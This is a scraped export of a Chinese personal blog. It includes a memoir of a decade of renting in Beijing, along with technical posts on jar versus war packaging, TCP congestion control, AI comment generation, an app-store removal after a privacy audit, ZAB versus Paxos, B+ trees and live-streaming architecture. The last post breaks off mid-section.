你也不会察觉她跟身边的其他姑娘有什么不同，更不会猜到她住在哪里，她又过着怎样的生活。\n还有推着小车卖炒饭的老板和坐在路边抽着烟提醒我扫码的保安，还有，还有\u0026hellip;.. 我站在原地体会着这 “人间烟火气”，不禁回忆起了十几年前的时候。\n地下室 “我带你去坐地铁！”\n第一次坐地铁是和张景一起，那时候 2 块钱地铁可以随便坐，只要不出站，坐多少站都行。我忘了第一次是为了什么事。那时我刚来北京不久，像一个没见过世面的傻小子，看什么都好奇，但可能是自卑感作祟，我有一种深深地不受尊重的感觉。在某个星期天和同学逛了大半天后，突然在一个没人的公交站牌下喊：“我在要这里混得很好！”\n最开始我们都没什么钱，我甚至没有工作，于是住在张景租住的地下室里，那里虽然面积小，不见光，但回想起来一点儿不觉得苦。屋里子只有一张单人床，我们两个挤在一起睡，那时我还算瘦。平日张景出门工作，那时候他的工作是保险销售，我在屋里投简历找工作。不久得知其他几个同学也住在附近，我很高兴，看到他们倍感亲切。我们几个同学在一起白天找工作，晚上回来一起吃饭、喝酒、聊天，周末一起逛街。我第一次吃砂锅米线时，老板端上来砂锅后，我直接上手拿被烫了，惹得大伙儿哈哈大笑。\n地下室其实也能洗澡，是在别的房间，我记得洗澡要收费。地下室除了电话信号不好，没有对我们造成什么特别不好的影响。而且夏天的时候还特别凉快。我和张景闲时打上一局实况足球，游戏结束便呼呼睡去。那个地下室现在不知道还能不能住了。这么多年过去，我依然怀念那时的日子。\n阳光 都说北京的阳光是收费的，这句话的意思是你要想住在一个能晒得着太阳的地方是很贵的。\n在地下室住了一阵子后的某一天，我找到工作了，很激动，因为是第一份工作且薪水还不错，我激动地通知身边的同学，那时也没有什么别的想法，就是觉得很不容易很高兴，想跟大家分享，同学们也很开心，晚上我们喝了汽水庆祝了一下。我工作的地方距离地下室很远，需要倒两趟公交车，大约 2 小时左右才能到公司。一般我早晨 6 点起床就出发了，晚上 8 点多回来。后来公司搬家了，不得已，我也要搬家，找个新的地方住，于是在某个周末，预备花两天时间找一个满意的地方。那一次，我为了找到合适的房子，走路把双脚都磨出了泡。幸运的是，最后找到的地方我和张景都很满意。那是一个有窗户能透进阳光的房间，不大，但可以放下两张床。同学们帮我们搬了家。我在阳光里想，生活应该会越来越好吧。\n春节 我和张景上下班都坐同一辆公交车，有一天下班，他打电话问我吃什么，我接了电话一回头就看见他也在车厢里，我们笑得很开心。\n后来他说他要圆梦，想去当兵，他走的那天正值冬天，天气很冷，我们几个同学一起为他送行，他走后，我们几个人都哭了。在他走后我给他写过一封信，就一封，后来再也没写过。\n几个月以后我的同事超哥搬了起来，超哥比我大，我还给他和某同学撮合过，后来没成。后来超哥回东北老家了，那个房间只剩下了我一个人。那时也是冬天，那是春节假期前的最后一天，我结束了一天的工作回到住处，买了一份肯德鸡全家桶，我知道我吃不了，但就是想买，不知道为什么。小区里已经有人在挂灯笼，偶尔还能听到远处鞭炮的声响。合租屋里的其他住户都已经踏上了返乡的旅程，屋里此时就我一个人，很安静，我坐在床上我打开全家桶往嘴里塞，突然五味杂陈，眼泪止不住地流\u0026hellip;\u0026hellip;\n沙河 超哥走后，我又搬了一次家，是公司同事帮我一起搬的，那天还下雨了，我们像西天取经的一行人一样，略显狼狈。每一次搬家房租都越来越贵，不过幸运的是，当时我的工资也在涨。生活条件的改善让我的心理放松了许多，甚至还可以为来北京出行的同学提供方便，那时住的是两室的一个次卧，有同学来，我就睡在客厅的沙发上或者地上。当时来过我那里的有阿佟、柳青、思姐，还有韩超，超后来消失了，是个神人，但我很想念他，无论他在什么地方，祝他过得好。\n我妈也来北京看过我，她想知道我一个人过得好不好，跟我住过几天后她放心地回家了。那段时间我曾交往过一个姑娘，她住得很远，在北京的西北方向，而我在东南方向，是大对角。我从住的地方出发坐地铁到沙河再倒公交才能见到她。我对她那里的印象，跟善各庄十分相似。\n辞职 在同一个小区搬了两次家后，我好像习惯了那里的生活，有熟悉的饭馆老板、理发店老板，做小生意的，卖水果的，他们叫不出我的名字，但熟悉我的样子。我以为我会在那里很久，因为一切都很平稳。\n有一天公司宣布要和另一个公司合并，我第一次见到另外一个公司的人的时候印象最深刻的不是他们那个侃侃而谈的老板，而是其中一个性格开朗、长着虎牙的姑娘，后来我们结婚了，当然那是另一个故事了。因为各种原因，我第一次辞职了。搬到了离下一家公司比较近的地方，那是北京的丰台地区。\n那个地方房租不高，但空间挺大的，虽然没有阳光能进来，但我也挺满意。那个时候没有微信、支付宝，每次交房租的时候我都拿着现金去，看着大把的钱交出去，别提多心疼了。又是一年冬天，那年冬天我感觉特别的冷，尤其是晚上，后来才知道，原来屋里的窗户没有关紧，知道的时候已经是春天了，我很后悔没有仔细看看，冻了一冬天。\n我和第一任女朋友分手是在那里，那几年我经常去新疆出差，新疆给我留下了很深的印象，尤其是当地的同事，很多人现在也依旧保持着联系。在我出差回来的时候，邻居告诉我，旁边屋的邻居被盗了，问我有没有丢东西，我检查了下说没有，据说小偷是晚上直接走进屋的，因为是夏天从里到外因为热都没关紧门，就直接走进屋了。更可怕的是，那屋里只有一个女生，万幸的是她只丢了一部手机。\n邻居是个中年大妈，养了一只猫，我叫它小黄，小黄胆子很大，有时我没有关房门，它就径直走进来然后站住看着我，我也看着它，看一会儿以后它就走了，每次都这样，我们互相不出声，就看着，很默契。\n其实我在丰台搬过两次家，中间张景休假回来看我去过一次，那次他喝多了，他说他交女朋友了。\n来广营 又一次因为公司要搬家，我被迫搬家了，不知道是不是因为屋里甲醛的问题，刚搬家没多久就得了湿疹，很难受，吃了几个月中药才见好。我对租住的小区挺满意的，自己住也感觉很自在，最高兴的是又能看见阳光了，因为是高层所以视野也很好。\n有一天兴起买了个飞镖把它吸在了落地窗上，然后一镖就干玻璃上了，我真是怀疑当时我是怎么想的，一点儿脑子都没有。然后后怕，因为是高层，要是这么大块玻璃砸下去后果可不堪设想。幸好因为是钢化玻璃，没有碎只是裂了，维修师傅后来换了块儿新的，当然是我负责赔偿。\n住在来广营的时候经历了许多人和事，最后陪在我身边的是那个长着可爱虎牙的姑娘，现在，她是我媳妇。\n现在 后来我和她搬到一起住了，两个人住在一起确实节省了一部分房租的开销，但后来房租水涨船高，每一次搬家，付房租的时候我都有窒息感。我想过，如果是我一个人，应该不会花那么多钱在住上面，虽然我也有要求，但房租的开销对于我们来说确实是最大的一笔，而且压力每天如影随形。\n未来 十多年过去了，很多人和事都发生了变化，我还依旧在租房，我也不知道要租到什么时候是个头，是的，我没有实现理想，那个多年前站在公交站牌执拗地像个傻子一样傻小子，现在还像个傻子一样地站在这儿，他想着如何通过自己的双手改变生活，改变命运，他现在沉默，闭嘴咬牙，希望能撑住。\n如果有机会能穿越回去，我会跟那个傻小子说：“嘿，你将来混得一般，确实挺难的，但是我们还有对生活无尽的希望！”\n","date":"2022-07-08T17:04:41Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-07-08-bei-piao-shi-nian/cover.jpg","permalink":"/p/2022-07-08-bei-piao-shi-nian/","title":"北漂十年"},{"content":"\n大约在 4 年前，关于 java 应用最终打成 jar 包还是 war 包的选择令我比较疑惑。\n那时候更多的应用是打成 war 包的，即使我们知道可以打成 jar 包，但之前都是打成 war 包，并且好像打成 jar 包并没有什么特别明显的好处。\n但当时令我困惑的是越来越多的实践正在不怎么说明理由的情况下转而打 jar 包，于是我开始思考\u0026hellip;\u0026hellip;\nwar 包的理由 在某大型 OTA 企业内部，应用仍然打成 war 包, PaaS 平台会自动安装并配置好 tomcat，我知道这对于 web server 的统一配置和运维来说是有好处的。基于 war 背后的一系列 CI/CD 、DevOps 流程都一定有相应的适配，且就算 jar 包有我不知道的某些优势也不可能一夜之间在大型企业内部使用，需要平台和系统做出调整。\nSpringBoot 在当时并未像现在这样流行，这并不意味着大家不用它，我的意思是相对新的项目来说，企业内部会有非常多 “老系统” 需要维护，我们不能指望一下子把这些老系统都用新的技术栈替换掉，就像你知道现在 web application 一般是前后端分离开发，但如果接手一个使用 jsp 的老家伙，你还得维护不是？\njar 的时代 时代不同了，说得好像过了几十年的样子，但其实也就几年光阴而已。不过仅仅是这几年的光阴却足以改变一些事情的面貌。\n如今，云原生、微服务大行其道，大家好像已经非常适应这种开发模式，没有人纠结要不要用 SpringBoot，只会讨论使用的版本高还是低。更不用说打包的事情，很自然的会使用 jar,虽然这种看起来的 “最佳实践”，在长期开发的过程中会形成 “肌肉记忆”，但我们还是要讨论一下为什么。\n方便 可运行 Jar 是打包自包含可运行应用程序的便捷方法。这样，我们可以最大限度地减少依赖关系。可以通过 Spring boot Maven 和 Gradle plugin 来管理依赖。\n云原生友好 在自备容器的情况下（docker,k8s), jar 包可以直接作为一个 single application 来管理。\n在过去我们使用 war 是为了让多应用共享 web server，现在是容器的天下，在容器内，一般情况只跑一个应用进程。由于只有一个进程，我们就可以轻松地管理它，比如重启（不会影响其他的应用，因为没有其他应用）。\n版本控制 利用 git 等版本控制软件，可以控制程序运行所需要的一切（比如配置文件）\n易于扩展 例如，将其复制到另一台服务器，然后“ just run it!” 无需安装和/或配置容器\n参考 https://medium.com/@satyajit.nalavade/make-jar-not-war-josh-long-d6ce5fbb8a23 ","date":"2022-07-05T09:51:29Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-07-05-make-jar-not-war/cover.jpg","permalink":"/p/2022-07-05-make-jar-not-war/","title":"Make Jar, Not War."},{"content":"概念 先解释下什么叫拥塞\n“\n当某一路由器在单位时间内接收到的数据量多于其可发送的数据量时，它就需要把多余的部分存储起来。假如这种状况持续，最终存储资源将会耗尽，路由器因此只能丢弃部分数据。路由器因无法处理高速率到达的流量而被迫丢弃数据信息的现象称为拥塞。当路由器处于上述状态时，我们就说出现了拥塞。\n”\n什么是拥塞控制？\n“\n即使仅有一条通信连接，也可能造成一个甚至多个路由器拥塞。若不采取对策，网络性能将大受影响以致瘫痪。在最坏的情况下，甚至形成拥塞崩溃。为避免或者在一定程度上缓解这种情况，TCP 通信的每一方实行拥塞控制机制。不同的TCP版本采取的行为有所差异。\n”\n拥塞控制方法 虽然我们聊的是 TCP 协议的拥塞控制，但也要知道其实有不止一种拥塞控制方法。在最为宽泛的级别上，可以根据网络层是否为传输层拥塞控制提供了显示帮助来区分。\n具体来说有两种：\n端到端拥塞控制，即 TCP 采用的方式，网络层没有为传输层拥塞控制提供显示帮助。 网络辅助的拥塞控制，路由器向发送方提供关于网络中拥塞状态的显示反馈信息。 TCP 拥塞控制算法 该算法主要包括三个部分：\n慢启动 拥塞避免 快速恢复 TCP 拥塞控制常常被称为 加性增、乘性减（Additive-Increase,Multiplicative-Decrease,AIMD) 拥塞控制方式。AIMD拥塞控制引发了锯齿行为。\n重点来了 ，下面通过中国科学技术大学 郑烇教授的精彩视频讲解，通过一个例子生动且彻底地理解 TCP 拥塞控制。\n","date":"2022-07-01T08:43:59Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-07-01-yi-ge-li-zi-gao-dong-tcp-yong-se-kong-zhi/cover.jpg","permalink":"/p/2022-07-01-yi-ge-li-zi-gao-dong-tcp-yong-se-kong-zhi/","title":"一个例子搞懂 TCP 拥塞控制"},{"content":"程序员最讨厌的两件事：\n自己写注释 别人不写注释 Mintlify 的插件终于可以把我们从痛苦的死循环中解救出来了。\nMintlify 利用 AI 技术从代码中自动生成注释文档\n注意 it\u0026rsquo;s free\n但谁知道呢，也许过一阵子就像 github 的 Copilot 一样开始收费了也说不定。\n来个Demo 比如我这段简单的二分查找 程序片段：\n分别看下 Mintlify 为它生成的注释，注意：它可以生成多语言的，有英文的也有中文的\n上面这些都是自动生成的，从结果看是基于程序进行的翻译，比较啰嗦，但还算准确。\n应用 好啦，那剩下的事情就是把你写完的程序一键生成注释，然后一份带有良好（啰嗦）注释的代码就编写完成了，如果你的团队统计代码和注释行数（哪个团队这么SB，告诉我，避个坑），那么又愉快地完成了KPI。\n开个玩笑 ，良好的代码注释，不但有利于别人阅读，更有利于维护，有时候时间长了，我们自己都不知道写的是什么玩意，我有时候看到一大段程序没有注释还写的特别绕的时候就开始骂娘了：“这TM写的什么玩意儿”，讽刺的是，有些时候，那程序是我自己写的。哈哈。\n都说优秀的代码可以做到自解释，不用写注释也看得懂，对，那是优秀的代码，在你还不能写成那样的代码之前，写注释吧孩子，先保证你不会被团队的同学骂娘再说。\n提示 如安装插件或使用过程中遇到网络问题，请通过科学上网自行解决。如这玩意（https://www.mintlify.com/）开始收费了，当我没说。\n","date":"2022-06-25T02:58:32Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-06-25-ai-cong-dai-ma-zhong-zi-dong-sheng-cheng-zhu-shi-wen-dang/cover.jpg","permalink":"/p/2022-06-25-ai-cong-dai-ma-zhong-zi-dong-sheng-cheng-zhu-shi-wen-dang/","title":"AI 从代码中自动生成注释文档"},{"content":"背景 自 2020年以来，工信部对存在侵害用户权益行为的 APP 进行了分批的检测。\n6月，我们收到应用商店的通知，要求我们进行整改。通过信息的汇总，我们知道被工信部检测并通报了。\n下图为从 全国APP技术检测平台（APP公共服务系统）网站的截图\n7月，我们的应用被下架了。\n经过 6月份团队看到整改通报的时候，说实话比较懵逼，因为只看到了结论，甚至都不知道哪儿错了。于是连同运营、产品同学一起收集信息，想解决办法。\n终于，我们知道，具体的信息除了应用商店提供给我们的邮件内容外，可以在全国APP技术检测平台（APP公共服务系统） 网站查到。于是赶紧到网站注册了用户。\n注册用户并验证企业身份后，便可以在申领记录菜单申请查看你的检测记录了，这是我们申请成功后的样子。\n点击报告1 ，我们终于看到了具体的问题，大概是长下图这个样子（敏捷信息已处理过）。\n既然发现了问题是不就好解决了？是吗？不是！\n对于明显指出的地方，好改。但是我们不知道全部的检测范围和依据，如果这次改完了上线，下次检测出别的问题，岂不麻烦大了？于是大家针对这个问题又开始想办法了。\n首先想到的当然是最省事儿的办法，花钱找个三方帮我们测，打听了一圈，最便宜的是 6800 。\n然而后来通过我们对全国APP技术检测平台（APP公共服务系统）的摸索，发现它可以提供一天最多三次的检测。如果是这样我们就不用花这笔“冤枉”钱，自己去尝试改，改不过再改，直到没问题不就行了？\n说干就干，由于整改是有期限限制的，过期没改好将被下架，我们在两天内完成了APP修改和提交检测。于是就等着人家出检测报告看看还有没有问题，同时咨询了应用商店在这个期间会不会被下架，他们给的回答是：不会。\n事情到这里其实还挺顺利的，大家从开始的提心吊胆（因为谁也没经历过）到现在基本放轻松了。后来回想，问题也就在这时候出现。\n在等待了好几天后，我很忐忑，不是一天三次检测机会吗，怎么第一次要检测这么久？于是运营同学通过各种渠道了解到正在检测中，需要等待。我们从全国APP技术检测平台（APP公共服务系统） 查看到的检测状态也是检测中。既然人家都告诉我们耐心等待，那咱就等呗。\n又过了几天，整改期限已经到了，我很担心会不会被下架，又催促运营同学问问，得到的结果和上次一样，问应用商店他们也说没事儿，不会被下架。接下来又是几次同样的等待和问询，结果也同前面几次一样。直到7月。\n7月的某一天，通过各方消息确认，我们知道，我们的应用被下架了。讽刺的是，消息放出来后的第一分钟我们就知道了，通知我们的还是一个安全公司。\n知道这个消息当然很沮丧，来不及难过，我们开始再次确认，到各应用商店反复查询，跟渠道沟通确认，看到底有多大影响。\n一两个小时后，尘埃落定。明确我们从各大应用商店被下架了，评估了一下损失，主要是业务上的损失和负面消息带来的影响。\n既然事已至此，我们就要想如何通过解决问题，再次上架，经过查询，上架的流程是这样的：\n这里的重点是下架要满 40个工作日，于是大家就都冷静了，因为着急没有用了。\n沮丧之余，我们回想整个过程总觉得很难受，明明是一直在积极配合整改，怎么突然被下架了。到底是哪里出了问题，从难受的心情中恢复过来的我们开始去全国APP技术检测平台（APP公共服务系统）查那个久久没有结果的检测状态，结果仍然是检测中。嗯？这怎么回事儿？\n第二天我们打电话联系到了检测平台，说检测报告很快就出了。一个多小时以后，我们看到了报告，报告的开头显示的检测日期和时间竟然是下架以后的。\n整个团队的小伙伴们都面面相觑，说实话，我们有种哑巴吃黄连的感觉。\n没办法，既然人家下架了，也说明我们有问题，那么就收拾好心情继续上路，吸取了上次的教训，马上联系了一些能够做APP检测的公司协助我们做好整改工作。\n这些公司的报价从十几万到几万的都有。而且由于下架信息是公布到全社会的，大家都知道，感觉被“拿捏”了一样。经过比较我们选择了一家性价比比较好的一家帮助我们一起检测和继续整改。经过两个公司几天的加班，也很快将问题全部解决。\n后来通过和这些安全公司的交流得知，国家确实在信息安全这方面抓得紧了，以前没人管现在有人管了，但是很多标准和规范还需要个形成的过程，在这个过程中大家都在踩坑。\n其实，这对用户是好事，让整个行业更规范，让用户少受到些骚扰和绑架，我非常的认同。真是应了网友的一句话：“不要低估国家要让人民过上美好幸福生活的决心”\n结果 是的，我们还在严格按照要求进行着整改上架的流程，虽然凭良心说并没有利用用户的隐私干什么，但有了这次的教训我们在信息安全的制度建设、人员培训、开发规范等各方面进行了加强，安全无小事，据业界的朋友们说，以后工信部的这种通报和下架将成为常态。而我写这篇文章的原因除了想跟同行们强调下事情的严重性，要重视安全工作以外，还想分享下在这次事件中的宝贵经验，我想没有多少公司和多少人经历过通报、下架这样的事情。想让大家少踩坑。\n","date":"2022-06-15T15:19:48Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-06-15-wo-men-de-app-bei-xia-jia-le/cover.jpg","permalink":"/p/2022-06-15-wo-men-de-app-bei-xia-jia-le/","title":"我们的APP被下架了"},{"content":"ZooKeeper 并没有直接采用 Paxos 算法，而是采用一种被称为 ZAB（ZooKeeper Atomic Broadcast）的一致性协议\nPaxos 算法是基于消息传递的分布式一致性算法，很多大型的网络技术公司和开源框架都采用 Paxos 算法作为其各自的底层解决方案，比如 Chubby 、 Megastore 以及 MySQL Group Replication 。Paxos 算法运行在服务器发生宕机故障的时候，能够保证数据的完整性，不要求可靠的消息传递，可容忍消息丢失、延迟、乱序以及重复，保证服务的高可用性。\nZAB 协议并不像 Paxos 算法那样，一种通用的分布式一致性算法，而是一种特别为 ZooKeeper 设计的崩溃可恢复的原子消息广播算法\n当 Leader 服务器不可用或者已经不存在过半服务器与该 Leader 服务器保持正常通信时，在重新开始新一轮的原子广播事务操作之前，ZAB 会进入恢复模式选举新的 Leader 服务器，使集群彼此达到一个一致的状态，从消息广播模式进入到崩溃恢复模式。当集群过半机器都与新的 Leader 服务器完成了状态同步操作后 ZAB 协议会退出恢复模式\n两者相同之处是，在执行事务会话的处理中，两种算法最开始都需要一台服务器或者线程针对该会话，在集群中发起提案或是投票。只有当集群中的过半数服务器对该提案投票通过后，才能执行接下来的处理。\n而 Paxos 算法与 ZAB 协议不同的是，Paxos 算法的发起者可以是一个或多个。当集群中的 Acceptor 服务器中的大多数可以执行会话请求后，提议者服务器只负责发送提交指令，事务的执行实际发生在 Acceptor 服务器。这与 ZooKeeper 服务器上事务的执行发生在 Leader 服务器上不同。Paxos 算法在数据同步阶段，是多台 Acceptor 服务器作为数据源同步给集群中的多台 Learner 服务器，而 ZooKeeper 则是单台 Leader 服务器作为数据源同步给集群中的其他角色服务器。\n参考 https://www.cnblogs.com/aspirant/p/13423780.html https://learn.lianglianglee.com/%E4%B8%93%E6%A0%8F/ZooKeeper%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90%E4%B8%8E%E5%AE%9E%E6%88%98-%E5%AE%8C/30%20ZAB%20%E4%B8%8E%20Paxos%20%E7%AE%97%E6%B3%95%E7%9A%84%E8%81%94%E7%B3%BB%E4%B8%8E%E5%8C%BA%E5%88%AB.md ","date":"2022-05-23T07:58:58Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-05-23-zookeeper-bing-mei-you-zhi-jie-cai-yong-paxos-suan-fa/cover.jpg","permalink":"/p/2022-05-23-zookeeper-bing-mei-you-zhi-jie-cai-yong-paxos-suan-fa/","title":"ZooKeeper 并没有直接采用 Paxos 算法"},{"content":"\n先看一下上面这个图，大家是不是觉得没什么毛病？\n如题，就是叶子结点用单向链表连接起来是吧。\n很多文章是这么讲的，很多图也是这么画的，但其实不正确，或者说不严谨。\n正确的说法应该是：B+ 树中各个页之间是通过双向链表连接的，叶子节点中的数据是通过单向链表连接的\n我们来看下正确的图：\n或者下面这个：\n希望能够帮到一直对B+tree 有误解的同学。\n","date":"2022-05-20T04:15:49Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-05-20-mysql-b-shu-ye-zi-jie-dian-shi-yong-dan-xiang-lian-biao-jin-/cover.jpg","permalink":"/p/2022-05-20-mysql-b-shu-ye-zi-jie-dian-shi-yong-dan-xiang-lian-biao-jin/","title":"MySQL B+树叶子结点使用单向链表进行串连？错！"},{"content":"名词解释 视频 通常我们所说的视频，是指连续的图象变化每秒超过 24 帧(Frame)画面以上时，根据视觉暂留原理，人眼无法辨别单幅的静态画面，看上去是平滑连续的视觉效果，这样连续的画面叫做视频。\n媒体转码 是指将一段多媒体包括音频、视频或者其他的内容从一种编码格式转换成为另外一种编码格式\n内容分发网络 就是大家常说的 CDN，这里主要包含流媒体服务器，负载均衡，路由重定向，视频转码，视频录制存储，防盗链，性能等相关技术内容。常见的 CDN 加速包括文件加速、点播、直播三种业务。最开始阿里云 CDN 是从文件加速开始，针对的主要是内部客户，如淘宝，它的图片非常多，支持的都是小文件加速。随着各 BU 的端产品衍生，逐渐会支持大的文件下载业务。等阿里云 CDN 正式作为产品上线商业化时候，开始支持点播业务。2015 年下半年，开始支持直播业务。\n码率 数据传输时单位时间传送的数据位数，一般用的单位是 kbps 即千位每秒。通俗一点的理解就是取样率，单位时间内取样率越大，精度就越高，处理出来的文件就越接近原始文件，但是文件体积与取样率是成正比的，所以几乎所有的编码格式重视的都是如何用最低的码率达到最少的失真。但是因为编码算法不一样，所以也不能用码率来统一衡量音质或者画质。\n帧 是一段数据的组合，数据传输的基本单位。就是影像动画中最小单位的单幅影像画面，相当于电影胶片上的每一格镜头。一帧就是一副静止的画面，连续的帧就形成动画，如电视图像等。\n帧率 Frames Per Second，每秒显示帧数（fps），帧率表示图形处理器处理图像时每秒钟能够更新的次数。高的帧率可以得到更流畅、更逼真的动画。\n音频帧一般可以独立解码，直播播放。而视频分为视频关键帧和非关键帧，关键帧可以独立解码渲染，播放器拿到后可以直接看到画面，一般 10K 以上甚至几十 K；其他非关键帧解码依赖于前面的一些视频帧，播放器会根据前面的帧和这一帧来解码产生画面，非关键帧一般大小是几 K 甚至不到 1K。对于播放器来说，服务器一般会从视频关键帧开始发送，这样才不会产生花屏。\n对于节点上直播服务器存储的内容，如果是文件加速，节点上存储的内容很明确，就是文件数据, URL 不变的话文件数据内容也不变。但是对于直播来讲，传输的就是帧数据，缓存的也是不断变化的帧序列数据。\nRTP Real-time Transport Protocol，实时传输协议\nRTP是针对多媒体数据流的一种传输层协议，详细说明了在互联网上传递音频和视频的标准数据包格式。RTP协议常用于流媒体系统（配合RTCP协议），视频会议和一键通系统（配合H.323或SIP），使它成为IP电话产业的技术基础。 RTP是建立在UDP协议上的，常与RTCP一起使用，其本身并没有提供按时发送机制或其它服务质量（QoS）保证，它依赖于低层服务去实现这一过程。\nRTP 并不保证传送或防止无序传送，也不确定底层网络的可靠性，只管发送，不管传输是否丢包，也不管接收方是否有收到包。RTP 实行有序传送，RTP中的序列号允许接收方重组发送方的包序列，同时序列号也能用于决定适当的包位置，如在视频解码中，就不需要顺序解码。\nRTCP Real-time Transport Control Protocol，实时传输控制协议）\nRTCP是RTP的配套协议，为RTP媒体流提供信道外的控制。RTCP和RTP一起协作将多媒体数据打包和发送，定期在多媒体流会话参与者之间传输控制数据。\nRTCP的主要功能是为RTP所提供的服务质量（QoS）提供反馈，收集相关媒体连接的统计信息，例如传输字节数，传输分组数，丢失分组数，单向和双向网络延迟等等。网络应用程序可以利用RTCP所提供的信息来提高服务质量，比如限制流量或改用压缩比小的编解码器。\nRTMP Real Time Streaming Protocol，实时流传输协议\n该协议基于TCP，是一个协议族，包括RTMP基本协议及RTMPT/RTMPS/RTMPE等多种变种。RTMP是一种设计用来进行实时数据通信的网络协议，主要用来在Flash/AIR平台和支持RTMP协议的流媒体/交互服务器之间进行音视频和数据通信。\nRTSP定义了一对多应用程序如何有效地通过IP网络传送多媒体数据。RTSP提供了一个可扩展框架，数据源可以包括实时数据与已有的存储的数据。该协议目的在于控制多个数据发送连接，为选择发送通道如UDP、组播UDP与TCP提供途径，并为选择基于RTP上发送机制提供方法。\nRTSP语法和运作跟HTTP/1.1类似，但并不特别强调时间同步，所以比较能容忍网络延迟。代理服务器的缓存功能也同样适用于RTSP，并且因为RTSP具有重新导向功能，可根据实际负载情况来切换提供服务的服务器，以避免过大的负载集中于同一服务器而造成延迟。\nH.264 H.264 是由 ITU-T 视频编码专家组和 ISO/IEC 动态图像专家组联合提出的高度压缩数字视频编解码器标准，使用优势如下：\n可利用低于1Mbps的速度实现标清（分辨率在1280*720以下）数字图像传送。 与其它视频编码标准相比，在相同的带宽下提供更优秀的图像质量。 H.265 H.265 标准在现有的 H.264 视频编码标准基础上保留部分技术，并进行了优化。使用优势如下：\n可利用1Mbps - 2Mbps的传输速度传送720P（分辨率1280*720）普通高清音视频传送。 改善码流、编码质量、延时和算法复杂度之间的关系，达到最优化设置。 直播概述 通常，视频直播常见两种形式是手机直播和游戏直播，手淘、陌陌、映客的典型的手机直播平台，游戏直播就是像斗鱼、全民 TV 等平台。其实对于播放端来讲，直播和点播都是向服务器获取视频数据，播放端对声音和画面进行播放的过程。从这个角度来讲，直播和点播区别并不大。\n直播和点播的区别 对于视频点播，用户在观看的时候，可以随时选择快进和回退，直播却不能。对于视频网站上的视频文件来讲，点播可以选择今天看或明天看，但是直播却不能选择时间，像每周末的联赛只在固定的时间播放。一些机顶盒提供回看的功能，也属于点播。\n什么是直播 直播就是每一帧数据打上时序标签后进行流式传输的过程。发送端源源不断的采集音视频数据，经过编码、封包、推流、再经过分发网络进行扩散传播，播放端再源源不断地下载数据并按时序进行解码播放。如此就产生了边生产、边传输、边消费的直播过程。\n视频直播整个流程主要分为几个关键阶段：视频采集、前处理、编码、推流、转码、分发、播放\n采集，是视频直播开始的第一个环节，用户可以通过不同的终端采集视频，也就是主播直播的过程。iOS 端适配性较好，采集起来比较简单。Android 端因为一直以来市面机型多版本复杂种种情况，加大了一个库适配所有硬件的难度，采集起来相对比较困难。PC 端则和摄像头驱动联系紧密，目前市面上最好的 PC 端源免费软件是 OBS。PC最麻烦各种奇葩摄像头驱动，出了问题特别不好处理，建议放弃PC只支持手机主播，目前几个新进的直播平台都是这样的。 前处理，业内有一种说法，80% 的主播没有美颜根本没法看。所以美颜已经是对视频源进行前处理的标配功能，除此之外还有水印、模糊特效等，针对不同的手机系统提供不同的处理库。 编码，编码时候我们需要处理的硬件兼容性问题和寻求码率和画质之前的平衡是最大的两个问题。iOS 系统硬件兼容性比较好，可以采用硬编，Android 系统则还是因为硬件机型问题，大多采用软编。 推流与转码，在数据传输的整个过程中从主播端到服务器端，再到边缘节点，以及从边缘节点到播放端。为了让采集端的流适配各个平台端不同协议，一般都会在服务端进行转码处理，将视频文件转成不同格式，支持 RTMP、HLS 和 FLV 等不同的协议。 分发，随着移动直播兴起和游戏直播的持续火热，网络直播平台支持高并发是理论上应该做到的，为了优化终端观看直播的体验，一般都会采用 CDN 进行内容分发加速，实现高并发等能力。 客户端播放，也就是解码和渲染，目前 iOS 端的播放兼容性较好，Android 的硬件解码和编码一样也存在兼容性问题。通常秒开、低延时等问题是需要在播放端来克服的。在实际中，大多数直播平台会接入多个视频云服务提供商，做拉流线路互备，视频集群也是可优化部分来提高直播流畅性与稳定性。 直播全流程：\n业务功能及场景 以阿里云视频直播 CDN 服务为例：\n主要有以下五个方向：\nUGC 互动直播：不仅提供推流到播放的全套直播解决方案，而且集成成熟的互动解决方案，包括 IM，连麦等功能。例如：一直播、映客等直播互动平台。 电商直播：为电商直播提供全套直播解决方案，支持动态扩展的直播技术架构，无需担心直播促销涌入的峰值流量担忧。例如：手淘等电商直播平台。 体育赛事／大型综艺节目直播：为热门的赛事和综艺直播提供动态扩展的直播服务，通过 CDN 和 PCDN 的分发，用户无需为突然涌入的流量担忧。例如：CCTV5，等电视直播平台。 游戏直播：对游戏直播提供各种采集设备的接入，以及直播的录制功能，便于游戏直播平台提供点播服务。例如：全民，熊猫，等游戏直播平台。 在线教育／财经直播：提供直播鉴权、直播防盗链、URL 加密等功能，为教育、财经类的直播提供安全保障。例如：第一财经等财经平台和知图教育等教育类直播平台。 直播架构 从应用场景角度分析 我们的应用场景是电商直播\n从系统角度分析 媒体模块主要与技术相关，上文的直播流程部分有介绍，主要介绍下其他模块。\n服务模块涉及用户体验，从用户方的收益一部分也来自于服务模块。系统需要完整的礼物，支付，运营，任务等系统，复杂度不亚于页游系统。\n国内直播平台的营利模式决定：平台从打赏中抽成。礼物系统就成为平台的盈利方式。礼物系统是多数视频直播平台的标配。 在中国部分人有礼品消费的习惯。平台为用户主播设计多个等级、爵位等头衔。利用财富榜，家族榜，等级榜类拉动消费。 IM技术。IM即时通讯服务。包括聊天室、弹幕等。弹幕交互方式是很好的体验，偏年轻化，大量用户愿意通过弹幕互动。高峰时，弹幕消息量特别大，一是需要考虑到高峰时弹幕的实时性和高并发量，二是要在产品策略上作一些体验上的优化。 支付系统需要仔细处理各种异常，消费流水记录。 系统还需要在政策上作相应的考虑，例如国家规定所有直播必须打水印并存留15天以上。在内容审核方面，淫秽、暴力、犯罪、敏感问题的审核。在数据分析方面也需要相应的统计系统 管理模块包括客户端的设计与维护、后台数据库、后台控制系统。该部分根据直播平台的特性、定位设计相应的管理策略。具体技术上还包括缓存、分布式文件存储、消息队列，运维系统等等。\n从进程角度分析 